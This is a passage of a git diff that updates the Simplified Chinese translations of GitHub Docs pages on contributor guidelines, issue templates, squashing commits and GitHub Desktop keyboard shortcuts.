index c5bb1df6a6..c0a4f76c73 100644
--- a/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md
+++ b/translations/zh-CN/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md
@@ -1,6 +1,6 @@
 ---
-title: Setting guidelines for repository contributors
-intro: You can create guidelines to communicate how people should contribute to your project.
+title: 设置仓库参与者指南
+intro: 您可以创建告知人们应如何参与您的项目的指南。
 versions:
   fpt: '*'
   ghes: '*'
@@ -12,57 +12,57 @@ redirect_from:
   - /github/building-a-strong-community/setting-guidelines-for-repository-contributors
 topics:
   - Community
-shortTitle: Contributor guidelines
+shortTitle: 参与指南
 ---
-## About contributing guidelines
-To help your project contributors do good work, you can add a file with contribution guidelines to your project repository's root, `docs`, or `.github` folder. When someone opens a pull request or creates an issue, they will see a link to that file. The link to the contributing guidelines also appears on your repository's `contribute` page. For an example of a `contribute` page, see [github/docs/contribute](https://github.com/github/docs/contribute). 
 
-![contributing-guidelines](/assets/images/help/pull_requests/contributing-guidelines.png)
+## 关于参与指南
+为帮助项目参与者做好工作，您可以将含有参与指南的文件添加到项目仓库的根目录 `docs` 或 `.github` 文件夹。 有人打开拉取请求或创建议题时，他们将看到指向该文件的链接。 参与指南的链接也会出现在仓库的`贡献`页。 有关`贡献`页面的示例，请参阅 [github/docs/contribute](https://github.com/github/docs/contribute)。
 
-For the repository owner, contribution guidelines are a way to communicate how people should contribute.
+![参与指南](/assets/images/help/pull_requests/contributing-guidelines.png)
 
-For contributors, the guidelines help them verify that they're submitting well-formed pull requests and opening useful issues.
+对于仓库所有者，参与指南是告知人们应如何参与的一种途径。
 
-For both owners and contributors, contribution guidelines save time and hassle caused by improperly created pull requests or issues that have to be rejected and re-submitted.
+对于参与者，该指南帮助他们确认其提交格式规范的拉取请求和打开有用的议题。
+
+对于所有者和参与者来说，参与指南节省了由于不正确创建必须拒绝和重新提交的拉取请求或议题而导致的时间和麻烦。
 
 {% ifversion fpt or ghes or ghec %}
 
-You can create default contribution guidelines for your organization{% ifversion fpt or ghes or ghec %} or user account{% endif %}. For more information, see "[Creating a default community health file](//communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
+您可以为组织{% ifversion fpt or ghes or ghec %}或用户帐户{% endif %}创建默认的参与指南。 更多信息请参阅“[创建默认社区健康文件](//communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)”。
 
 {% endif %}
 
 {% tip %}
 
-**Tip:** Repository maintainers can set specific guidelines for issues by creating an issue or pull request template for the repository. For more information, see "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)."
+**提示：**仓库维护员可以通过为仓库创建议题或拉取请求模板来设置议题的特定指南。 更多信息请参阅“[关于议题和拉取请求模板](/articles/about-issue-and-pull-request-templates)”。
 
 {% endtip %}
 
-## Adding a *CONTRIBUTING* file
+## 添加 *CONTRIBUTING* 文件
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.files.add-file %}
-3. Decide whether to store your contributing guidelines in your repository's root, `docs`, or `.github` directory. Then, in the filename field, type the name and extension for the file. Contributing guidelines filenames are not case sensitive. Files are rendered in rich text format if the file extension is in a supported format. For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files#rendering-differences-in-prose-documents)."
-  ![New file name](/assets/images/help/repository/new-file-name.png)
-    - To make your contributing guidelines visible in the repository's root directory, type *CONTRIBUTING*.
-    - To make your contributing guidelines visible in the repository's `docs` directory, type *docs/* to create the new directory, then *CONTRIBUTING*.
-    - If a repository contains more than one *CONTRIBUTING* file, then the file shown in links is chosen from locations in the following order: the `.github` directory, then the repository's root directory, and finally the `docs` directory.
-4. In the new file, add contribution guidelines. These could include:
-    - Steps for creating good issues or pull requests.
-    - Links to external documentation, mailing lists, or a code of conduct.
-    - Community and behavioral expectations.
+3. 决定是在仓库的根目录 `docs` 还是 `.github` 目录中存储您的参与指南。 然后，在文件名字段中，输入文件的名称和扩展名。 参与指南文件名不区分大小写。 如果文件扩展名为支持的格式，文件会以富文本格式呈现。 更多信息请参阅“[使用非代码文件](/repositories/working-with-files/using-files/working-with-non-code-files#rendering-differences-in-prose-documents)”。 ![新文件名](/assets/images/help/repository/new-file-name.png)
+    - 要使您的参与指南在仓库的根目录中显示，请输入 *CONTRIBUTING*。
+    - 要使您的参与指南在仓库的 `docs` 目录中显示，请输入 *docs/* 以创建新目录，然后再输入 *CONTRIBUTING*。
+    - 如果仓库包含多个 *CONTRIBUTING* 文件，则按以下顺序从位置中选择链接中显示的文件：`.github` 目录，然后是仓库的根目录，最后是 `docs` 目录。
+4. 在新文件中，添加参与指南。 这些可能包括：
+    - 创建良好议题或拉取请求的步骤。
+    - 指向外部文档、邮件列表或行为准则的链接。
+    - 社区和行为预期。
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_new_file %}
 
-## Examples of contribution guidelines
+## 参与指南示例
 
-If you're stumped, here are some good examples of contribution guidelines:
+如果您觉得难以着手，以下是参与指南的一些良好示例：
 
-- The Atom editor [contribution guidelines](https://github.com/atom/atom/blob/master/CONTRIBUTING.md).
-- The Ruby on Rails [contribution guidelines](https://github.com/rails/rails/blob/master/CONTRIBUTING.md).
-- The Open Government [contribution guidelines](https://github.com/opengovernment/opengovernment/blob/master/CONTRIBUTING.md).
+- Atom 编辑器[参与指南](https://github.com/atom/atom/blob/master/CONTRIBUTING.md)。
+- Ruby on Rails [参与指南](https://github.com/rails/rails/blob/master/CONTRIBUTING.md)。
+- Open Government [参与指南](https://github.com/opengovernment/opengovernment/blob/master/CONTRIBUTING.md)。
 
-## Further reading
-- The Open Source Guides' section "[Starting an Open Source Project](https://opensource.guide/starting-a-project/)"{% ifversion fpt or ghec %}
+## 延伸阅读
+- 开源指南的“[启动开源项目](https://opensource.guide/starting-a-project/)”部分{% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}{% ifversion fpt or ghes or ghec %}
-- "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)"{% endif %}
+- "[添加许可到仓库](/articles/adding-a-license-to-a-repository)"{% endif %}
diff --git a/translations/zh-CN/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md b/translations/zh-CN/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md
index 9974eff8e8..20ea522a9d 100644
--- a/translations/zh-CN/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md
+++ b/translations/zh-CN/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md
@@ -1,7 +1,7 @@
 ---
-title: Using templates to encourage useful issues and pull requests
-shortTitle: Issue & PR templates
-intro: Repository maintainers can add templates in a repository to help contributors create high-quality issues and pull requests.
+title: 使用模板鼓励有用的议题和拉取请求
+shortTitle: 议题和 PR 模板
+intro: 仓库维护员可在仓库中添加模板，以帮助贡献者创建高质量的议题和拉取请求。
 redirect_from:
   - /github/building-a-strong-community/using-issue-and-pull-request-templates
   - /articles/using-templates-to-encourage-high-quality-issues-and-pull-requests-in-your-repository
diff --git a/translations/zh-CN/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md b/translations/zh-CN/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md
index cbf6716233..e46bdf9618 100644
--- a/translations/zh-CN/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md
+++ b/translations/zh-CN/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Manually creating a single issue template for your repository
-intro: 'When you add a manually-created issue template to your repository, project contributors will automatically see the template''s contents in the issue body.'
+title: 手动为仓库创建单一议题模板
+intro: 将手动创建的议题模板添加到仓库后，项目贡献者会自动在议题正文中看到模板的内容。
 redirect_from:
   - /articles/creating-an-issue-template-for-your-repository
   - /articles/manually-creating-a-single-issue-template-for-your-repository
@@ -12,16 +12,16 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Create an issue template
+shortTitle: 创建议题模板
 ---
 
 {% data reusables.repositories.legacy-issue-template-tip %}
 
-You can create an *ISSUE_TEMPLATE/* subdirectory in any of the supported folders to contain multiple issue templates, and use the `template` query parameter to specify the template that will fill the issue body. For more information, see "[About automation for issues and pull requests with query parameters](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)."
+您可以在任何支持的文件夹中创建 *ISSUE_TEMPLATE/* 子目录，以包含多个议题模板，并且使用 `template` 查询参数指定填充议题正文的模板。 更多信息请参阅“[关于使用查询参数自动化议题和拉取请求](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)”。
 
-You can add YAML frontmatter to each issue template to pre-fill the issue title, automatically add labels and assignees, and give the template a name and description that will be shown in the template chooser that people see when creating a new issue in your repository.
+您可以将 YAML 前页添加到每个议题模板以预填议题标题、自动添加标签和受理人，并且为模板提供名称和说明，人们在您的仓库中新建议题时就会从模板选择器中看到该名称和说明。
 
-Here is example YAML front matter.
+下面是 YAML 前页的示例。
 
 ```yaml
 ---
@@ -34,7 +34,7 @@ assignees: octocat
 ```
 {% note %}
 
-**Note:** If a front matter value includes a YAML-reserved character such as `:` , you must put the whole value in quotes. For example, `":bug: Bug"` or `":new: triage needed, :bug: bug"`.
+**注：** 如果扉页值包含 YAML 保留字符，如 `:`，则您必须将整个值放入引号中。 例如，`":bug: Bug"` 或 `":new: triage needed, :bug: bug"`。
 
 {% endnote %}
 
@@ -50,31 +50,27 @@ assignees: octocat
 
 {% endif %}
 
-## Adding an issue template
+## 添加议题模板
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.files.add-file %}
-3. In the file name field:
-    -  To make your issue template visible in the repository's root directory, type the name of your *issue_template*. For example, `issue_template.md`.
-  ![New issue template name in root directory](/assets/images/help/repository/issue-template-file-name.png)
-    - To make your issue template visible in the repository's `docs` directory, type *docs/* followed by the name of your *issue_template*. For example, `docs/issue_template.md`,
-  ![New issue template in docs directory](/assets/images/help/repository/issue-template-file-name-docs.png)
-    - To store your file in a hidden directory, type *.github/* followed by the name of your *issue_template*. For example, `.github/issue_template.md`.
-  ![New issue template in hidden directory](/assets/images/help/repository/issue-template-hidden-directory.png)
-    - To create multiple issue templates and use the `template` query parameter to specify a template to fill the issue body, type *.github/ISSUE_TEMPLATE/*, then the name of your issue template. For example, `.github/ISSUE_TEMPLATE/issue_template.md`. You can also store multiple issue templates in an `ISSUE_TEMPLATE` subdirectory within the root or `docs/` directories. For more information, see "[About automation for issues and pull requests with query parameters](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)."
-  ![New multiple issue template in hidden directory](/assets/images/help/repository/issue-template-multiple-hidden-directory.png)
-4. In the body of the new file, add your issue template. This could include:
-    - YAML frontmatter
-    - Expected behavior and actual behavior
-    - Steps to reproduce the problem
-    - Specifications like the version of the project, operating system, or hardware
+3. 在文件名字段中：
+    -  要使议题模板显示在仓库的根目录中，请输入 *issue_template* 的名称。 例如 `issue_template.md`。 ![根目录中的新议题模板名称](/assets/images/help/repository/issue-template-file-name.png)
+    - 要使议题模板显示在仓库的 `docs` 目录中，请输入 *docs/*，后接 *issue_template* 的名称。 例如 `docs/issue_template.md`。 ![Docs 目录中的新议题模板](/assets/images/help/repository/issue-template-file-name-docs.png)
+    - 要将文件存储在隐藏的目录中，请输入 *.github/*，后接 *issue_template* 的名称。 例如 `.github/issue_template.md`。 ![隐藏目录中的新议题模板](/assets/images/help/repository/issue-template-hidden-directory.png)
+    - 要创建多个议题模板，并使用 `template` 查询参数指定填充议题正文的模板，请输入 *.github/ISSUE_TEMPLATE/*，后接议题模板的名称。 例如 `.github/ISSUE_TEMPLATE/issue_template.md`。 您也可以在根目录或 `docs/` 目录的 `ISSUE_TEMPLATE` 子目录中存储多个议题模板。 更多信息请参阅“[关于使用查询参数自动化议题和拉取请求](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)”。 ![隐藏目录中新的多议题模板](/assets/images/help/repository/issue-template-multiple-hidden-directory.png)
+4. 在新文件的正文中，添加您的议题模板。 这可能包括：
+    - YAML 前页
+    - 预期行为和实际行为
+    - 重现问题的步骤
+    - 项目版本、操作系统或硬件等规范
 {% data reusables.files.write_commit_message %}
-{% data reusables.files.choose_commit_branch %} Templates are available to collaborators when they are merged into the repository's default branch.
+{% data reusables.files.choose_commit_branch %} 模板可供协作者用来合并到仓库的默认分支。
 {% data reusables.files.propose_new_file %}
 
-## Further reading
+## 延伸阅读
 
-- "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)"
-- "[Configuring issue templates for your repository](/articles/configuring-issue-templates-for-your-repository)"
-- "[About automation for issues and pull requests with query parameters](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)"
-- "[Creating an issue](/articles/creating-an-issue)"
+- "[关于议题和拉取请求模板](/articles/about-issue-and-pull-request-templates)"
+- "[为仓库配置议题模板](/articles/configuring-issue-templates-for-your-repository)"
+- "[关于使用查询参数自动化议题和拉取请求](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)"
+- "[创建议题](/articles/creating-an-issue)"
diff --git a/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md b/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
index e2397fd026..e8cbfcb16d 100644
--- a/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
+++ b/translations/zh-CN/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
@@ -16,7 +16,7 @@ versions:
 {% data reusables.desktop.current-branch-menu %}
 2. 在分支列表中，选择包含您要压缩的提交的分支。
 {% data reusables.desktop.history-tab %}
-4. 选择要压缩的提交，并将其放到要合并的提交上。 您可以选择一个提交，也可以使用 <kbd>⌘</kbd> 或 <kbd>Shift</kbd> 选择多个提交。 ![压缩拖放](/assets/images/help/desktop/squash-drag-and-drop.png)
+4. 选择要压缩的提交，并将其放到要合并的提交上。 You can select one commit or select multiple commits using <kbd>Command</kbd> or <kbd>Shift</kbd>. ![压缩拖放](/assets/images/help/desktop/squash-drag-and-drop.png)
 5. 修改新提交的提交消息。 您想要压缩的所选提交消息将预填入 **Summary（摘要）** 和 **Description<（说明）**字段。
 6. 单击 **Squash Commits（压缩提交）**。
 
diff --git a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md
index cf34ff73d0..7799989dd3 100644
--- a/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md
+++ b/translations/zh-CN/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md
@@ -1,6 +1,6 @@
 ---
-title: Keyboard shortcuts
-intro: 'You can use keyboard shortcuts in {% data variables.product.prodname_desktop %}.'
+title: 键盘快捷键
+intro: '您可以在 {% data variables.product.prodname_desktop %} 中使用键盘快捷键。'
 redirect_from:
   - /desktop/getting-started-with-github-desktop/keyboard-shortcuts-in-github-desktop
   - /desktop/getting-started-with-github-desktop/keyboard-shortcuts
@@ -8,113 +8,114 @@ redirect_from:
 versions:
   fpt: '*'
 ---
+
 {% mac %}
 
-GitHub Desktop keyboard shortcuts on macOS
+MacOS 上的 GitHub Desktop 快捷键
 
-## Site wide shortcuts
+## 站点快捷键
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>⌘</kbd><kbd>,</kbd> | Go to Preferences
-|<kbd>⌘</kbd><kbd>H</kbd> | Hide the {% data variables.product.prodname_desktop %} application
-|<kbd>⌥</kbd><kbd>⌘</kbd><kbd>H</kbd> | Hide all other applications
-|<kbd>⌘</kbd><kbd>Q</kbd> | Quit {% data variables.product.prodname_desktop %}
-|<kbd>⌃</kbd><kbd>⌘</kbd><kbd>F</kbd> | Toggle full screen view
-|<kbd>⌘</kbd><kbd>0</kbd> | Reset zoom to default text size
-|<kbd>⌘</kbd><kbd>=</kbd> | Zoom in for larger text and graphics
-|<kbd>⌘</kbd><kbd>-</kbd> | Zoom out for smaller text and graphics
-|<kbd>⌥</kbd><kbd>⌘</kbd><kbd>I</kbd> | Toggle Developer Tools
+| 键盘快捷键                                | 描述                                                    |
+| ------------------------------------ | ----------------------------------------------------- |
+| <kbd>⌘</kbd><kbd>,</kbd>             | 进入 Preferences（首选项）                                   |
+| <kbd>⌘</kbd><kbd>H</kbd>             | 隐藏 {% data variables.product.prodname_desktop %} 应用程序 |
+| <kbd>⌥</kbd><kbd>⌘</kbd><kbd>H</kbd> | 隐藏所有其他应用程序                                            |
+| <kbd>⌘</kbd><kbd>Q</kbd>             | 退出 {% data variables.product.prodname_desktop %}
+| <kbd>⌃</kbd><kbd>⌘</kbd><kbd>F</kbd> | 切换全屏视图                                                |
+| <kbd>⌘</kbd><kbd>0</kbd>             | 将缩放比例重置为默认的文本大小                                       |
+| <kbd>⌘</kbd><kbd>=</kbd>             | 放大文本和图形                                               |
+| <kbd>⌘</kbd><kbd>-</kbd>             | 缩小文本和图形                                               |
+| <kbd>⌥</kbd><kbd>⌘</kbd><kbd>I</kbd> | 切换开发者工具                                               |
 
-## Repositories
+## 仓库
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>⌘</kbd><kbd>N</kbd> | Add a new repository
-|<kbd>⌘</kbd><kbd>O</kbd> | Add a local repository
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>O</kbd> | Clone a repository from {% data variables.product.prodname_dotcom %}
-|<kbd>⌘</kbd><kbd>T</kbd> | Show a list of your repositories
-|<kbd>⌘</kbd><kbd>P</kbd> | Push the latest commits to {% data variables.product.prodname_dotcom %}
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>P</kbd> | Pull down the latest changes from {% data variables.product.prodname_dotcom %}
-|<kbd>⌘</kbd><kbd>⌫</kbd> | Remove an existing repository
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>G</kbd> | View the repository on {% data variables.product.prodname_dotcom %}
-|<kbd>⌃</kbd><kbd>&grave;</kbd> | Open repository in your preferred terminal tool
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>F</kbd> | Show the repository in Finder
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>A</kbd> | Open the repository in your preferred editor tool
-|<kbd>⌘</kbd><kbd>I</kbd> | Create an issue on {% data variables.product.prodname_dotcom %}
+| 键盘快捷键                                | 描述                                                    |
+| ------------------------------------ | ----------------------------------------------------- |
+| <kbd>⌘</kbd><kbd>N</kbd>             | 新增仓库                                                  |
+| <kbd>⌘</kbd><kbd>O</kbd>             | 添加本地仓库                                                |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>O</kbd> | 从 {% data variables.product.prodname_dotcom %} 克隆仓库   |
+| <kbd>⌘</kbd><kbd>T</kbd>             | 显示仓库列表                                                |
+| <kbd>⌘</kbd><kbd>P</kbd>             | 将最新提交推送到 {% data variables.product.prodname_dotcom %}
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>P</kbd> | 从 {% data variables.product.prodname_dotcom %} 拉取最新更改 |
+| <kbd>⌘</kbd><kbd>⌫</kbd>             | 删除现有仓库                                                |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>G</kbd> | 在 {% data variables.product.prodname_dotcom %} 上查看仓库  |
+| <kbd>⌃</kbd><kbd>&grave;</kbd>       | 在首选的终端工具中打开仓库                                         |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>F</kbd> | 在 Finder 中显示仓库                                        |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>A</kbd> | 在首选的编辑器工具中打开仓库                                        |
+| <kbd>⌘</kbd><kbd>I</kbd>             | 在 {% data variables.product.prodname_dotcom %} 上创建议题  |
 
-## Branches
+## 分支
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>⌘</kbd><kbd>1</kbd> | Show all your changes before committing
-|<kbd>⌘</kbd><kbd>2</kbd> | Show your commit history
-|<kbd>⌘</kbd><kbd>B</kbd> | Show all your branches
-|<kbd>⌘</kbd><kbd>G</kbd> | Go to the commit summary field
-|<kbd>⌘</kbd><kbd>Enter</kbd> | Commit changes when summary or description field is active
-|<kbd>space</kbd>| Select or deselect all highlighted files
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>N</kbd> | Create a new branch
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>R</kbd> | Rename the current branch
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>D</kbd> | Delete the current branch
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>U</kbd> | Update from default branch
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>B</kbd> | Compare to an existing branch
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>M</kbd> | Merge into current branch
-|<kbd>⌃</kbd><kbd>H</kbd> | Show or hide stashed changes
-|<kbd>⇧</kbd><kbd>⌘</kbd><kbd>C</kbd> | Compare branches on {% data variables.product.prodname_dotcom %}
-|<kbd>⌘</kbd><kbd>R</kbd> | Show the current pull request on {% data variables.product.prodname_dotcom %}
+| 键盘快捷键                                | 描述                                                       |
+| ------------------------------------ | -------------------------------------------------------- |
+| <kbd>⌘</kbd><kbd>1</kbd>             | 在提交前显示所有更改                                               |
+| <kbd>⌘</kbd><kbd>2</kbd>             | 显示提交历史记录                                                 |
+| <kbd>⌘</kbd><kbd>B</kbd>             | 显示所有分支                                                   |
+| <kbd>⌘</kbd><kbd>G</kbd>             | 转到提交摘要字段                                                 |
+| <kbd>⌘</kbd><kbd>Enter</kbd>         | 当摘要或描述字段处于活动状态时提交更改                                      |
+| <kbd>space</kbd>                     | 选择或取消选择所有突出显示的文件                                         |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>N</kbd> | 创建新分支                                                    |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>R</kbd> | 重命名当前分支                                                  |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>D</kbd> | 删除当前分支                                                   |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>U</kbd> | 从默认分支更新                                                  |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>B</kbd> | 与现有分支比较                                                  |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>M</kbd> | 合并到当前分支                                                  |
+| <kbd>⌃</kbd><kbd>H</kbd>             | 显示或隐藏储存的更改                                               |
+| <kbd>⇧</kbd><kbd>⌘</kbd><kbd>C</kbd> | 比较 {% data variables.product.prodname_dotcom %} 上的分支     |
+| <kbd>⌘</kbd><kbd>R</kbd>             | 在 {% data variables.product.prodname_dotcom %} 上显示当前拉取请求 |
 
 {% endmac %}
 
 {% windows %}
 
-GitHub Desktop keyboard shortcuts on Windows
+Windows 上的 GitHub Desktop 键盘快捷键
 
-## Site wide shortcuts
+## 站点快捷键
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>Ctrl</kbd><kbd>,</kbd> | Go to Options
-|<kbd>F11</kbd> | Toggle full screen view
-|<kbd>Ctrl</kbd><kbd>0</kbd> | Reset zoom to default text size
-|<kbd>Ctrl</kbd><kbd>=</kbd> | Zoom in for larger text and graphics
-|<kbd>Ctrl</kbd><kbd>-</kbd> | Zoom out for smaller text and graphics
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>I</kbd> | Toggle Developer Tools
+| 键盘快捷键                                       | 描述              |
+| ------------------------------------------- | --------------- |
+| <kbd>Ctrl</kbd><kbd>,</kbd>                 | 转到 Options（选项）  |
+| <kbd>F11</kbd>                              | 切换全屏视图          |
+| <kbd>Ctrl</kbd><kbd>0</kbd>                 | 将缩放比例重置为默认的文本大小 |
+| <kbd>Ctrl</kbd><kbd>=</kbd>                 | 放大文本和图形         |
+| <kbd>Ctrl</kbd><kbd>-</kbd>                 | 缩小文本和图形         |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>I</kbd> | 切换开发者工具         |
 
-## Repositories
+## 仓库
 
-| Keyboard Shortcut | Description
-|-----------|------------
-|<kbd>Ctrl</kbd><kbd>N</kbd> | Add a new repository
-|<kbd>Ctrl</kbd><kbd>O</kbd> | Add a local repository
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>O</kbd> | Clone a repository from {% data variables.product.prodname_dotcom %}
-|<kbd>Ctrl</kbd><kbd>T</kbd> | Show a list of your repositories
-|<kbd>Ctrl</kbd><kbd>P</kbd> | Push the latest commits to {% data variables.product.prodname_dotcom %}
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>P</kbd> | Pull down the latest changes from {% data variables.product.prodname_dotcom %}
-|<kbd>Ctrl</kbd><kbd>Delete</kbd> | Remove an existing repository
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>G</kbd> | View the repository on {% data variables.product.prodname_dotcom %}
-|<kbd>Ctrl</kbd><kbd>&grave;</kbd> | Open repository in your preferred command line tool
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>F</kbd> | Show the repository in Explorer
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>A</kbd> | Open the repository in your preferred editor tool
-|<kbd>Ctrl</kbd><kbd>I</kbd> | Create an issue on {% data variables.product.prodname_dotcom %}
+| 键盘快捷键                                       | 描述                                                    |
+| ------------------------------------------- | ----------------------------------------------------- |
+| <kbd>Ctrl</kbd><kbd>N</kbd>                 | 新增仓库                                                  |
+| <kbd>Ctrl</kbd><kbd>O</kbd>                 | 添加本地仓库                                                |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>O</kbd> | 从 {% data variables.product.prodname_dotcom %} 克隆仓库   |
+| <kbd>Ctrl</kbd><kbd>T</kbd>                 | 显示仓库列表                                                |
+| <kbd>Ctrl</kbd><kbd>P</kbd>                 | 将最新提交推送到 {% data variables.product.prodname_dotcom %}
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>P</kbd> | 从 {% data variables.product.prodname_dotcom %} 拉取最新更改 |
+| <kbd>Ctrl</kbd><kbd>Delete</kbd>            | 删除现有仓库                                                |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>G</kbd> | 在 {% data variables.product.prodname_dotcom %} 上查看仓库  |
+| <kbd>Ctrl</kbd><kbd>&grave;</kbd>           | 在首选的命令行工具中打开仓库                                        |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>F</kbd> | 在 Explorer 中显示仓库                                      |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>A</kbd> | 在首选的编辑器工具中打开仓库                                        |
+| <kbd>Ctrl</kbd><kbd>I</kbd>                 | 在 {% data variables.product.prodname_dotcom %} 上创建议题  |
 
-## Branches
+## 分支
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>Ctrl</kbd><kbd>1</kbd> | Show all your changes before committing
-|<kbd>Ctrl</kbd><kbd>2</kbd> | Show your commit history
-|<kbd>Ctrl</kbd><kbd>B</kbd> | Show all your branches
-|<kbd>Ctrl</kbd><kbd>G</kbd> | Go to the commit summary field
-|<kbd>Ctrl</kbd><kbd>Enter</kbd> | Commit changes when summary or description field is active
-|<kbd>space</kbd>| Select or deselect all highlighted files
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>N</kbd> | Create a new branch
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>R</kbd> | Rename the current branch
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>D</kbd> | Delete the current branch
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>U</kbd> | Update from default branch
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>B</kbd> | Compare to an existing branch
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>M</kbd> | Merge into current branch
-|<kbd>Ctrl</kbd><kbd>H</kbd> | Show or hide stashed changes
-|<kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>C</kbd> | Compare branches on {% data variables.product.prodname_dotcom %}
-|<kbd>Ctrl</kbd><kbd>R</kbd> | Show the current pull request on {% data variables.product.prodname_dotcom %}
+| 键盘快捷键                                       | 描述                                                       |
+| ------------------------------------------- | -------------------------------------------------------- |
+| <kbd>Ctrl</kbd><kbd>1</kbd>                 | 在提交前显示所有更改                                               |
+| <kbd>Ctrl</kbd><kbd>2</kbd>                 | 显示提交历史记录                                                 |
+| <kbd>Ctrl</kbd><kbd>B</kbd>                 | 显示所有分支                                                   |
+| <kbd>Ctrl</kbd><kbd>G</kbd>                 | 转到提交摘要字段                                                 |
+| <kbd>Ctrl</kbd><kbd>Enter</kbd>             | 当摘要或描述字段处于活动状态时提交更改                                      |
+| <kbd>space</kbd>                            | 选择或取消选择所有突出显示的文件                                         |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>N</kbd> | 创建新分支                                                    |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>R</kbd> | 重命名当前分支                                                  |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>D</kbd> | 删除当前分支                                                   |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>U</kbd> | 从默认分支更新                                                  |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>B</kbd> | 与现有分支比较                                                  |
+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>M</kbd> | 合并到当前分支                                                  |
+| <kbd>Ctrl</kbd><kbd>H</kbd>                 | 显示或隐藏储存的更改                                               |
